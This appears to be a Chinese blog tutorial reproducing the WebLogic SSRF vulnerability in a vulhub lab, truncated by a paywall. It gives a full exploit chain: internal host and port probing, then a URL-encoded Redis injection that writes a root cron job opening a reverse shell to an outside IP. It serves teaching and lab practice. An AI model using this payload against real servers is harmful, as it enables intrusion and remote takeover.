目录
前言
SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)。
SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
利用SSRF能实现以下效果:
1) 扫描内网(主机信息收集,Web应用指纹识别)
2) 根据所识别应用发送构造的Payload进行攻击
3) Denial of service(请求大文件,始终保持连接Keep-Alive Always)
漏洞环境搭建
这里我们选择使用vulhub搭建docker进行漏洞复现。
首先安装curl和docker
sudo apt install curl
sudo apt install docker.io
docker -v //查看是否安装成功
然后安装python和pip环境(如果没有),命令如下
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip -V //查看是否安装成功
然后再安装docker-compose
pip install docker-compose
docker-compose -v

到这个地方docker环境就已经搭建好了,这时候需要从github上把vulhub的漏洞环境给clone下来,这里直接clone网不太好,我就直接下载下来了copy到了靶机上
git clone https://github.com/vulhub/vulhub.git
之后进入SSRF的漏洞环境


漏洞复现
访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

访问:http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
出现以下页面,说明测试环境ok。

访问以下页面,确认是否存在SSRF漏洞。
http://192.168.43.53:7001/uddiexplorer//SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.43.46

其中,最后的operator参数为内网ip,若存在此报错: weblogic.uddi.client.structures.exception.XML_SoapException,说明存在SSRF漏洞。
漏洞利用
探测内网存活IP

说明这个内网IP存在。

这样说明IP不存在。
探测端口
此报错说明该端口存在。
同理反之则证明该端口不存在。
攻击Redis

172.18.0.2是Redis的内网IP地址。

探测到内网redis服务开放。
准备攻击代码
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.43.46/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
将上述攻击代码转换成URL编码:
test0D%0A%0D%0A
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.46%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%220D%0Aconfig%20set%20dir%20%2Fetc%2F0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
开启监听端口:

访问:
http://192.168.43.53:7001/uddiexplorer//SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.43.46%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

具体流程是

批量检测脚本
批量检测weblogic_SSRF漏洞
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 功能:批量探测weblogic SSRF漏洞
import re
import sys
import Queue
import requests
import threading
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
queue = Queue.Queue()
mutex = threading.Lock()
class Weblogic_SSRF_Check(threading.Thread):
"""docstring for Weblogic_SSRF_Check"""
def __init__(self, queue):

本文详细介绍了WebLogic Server Side Request Forgery (SSRF)漏洞的概念、复现步骤、利用方式以及防御措施。通过搭建漏洞环境,演示了如何探测内网存活IP、端口,以及利用SSRF攻击Redis。同时,文章还讨论了如何通过IP地址改写、使用特殊域名、DNS解析和IPv6等方法绕过过滤。最后,提出了包括限制请求端口、验证响应信息和使用URL白名单在内的防御策略。
最低0.47元/天 解锁文章
1059

被折叠的 条评论
为什么被折叠?



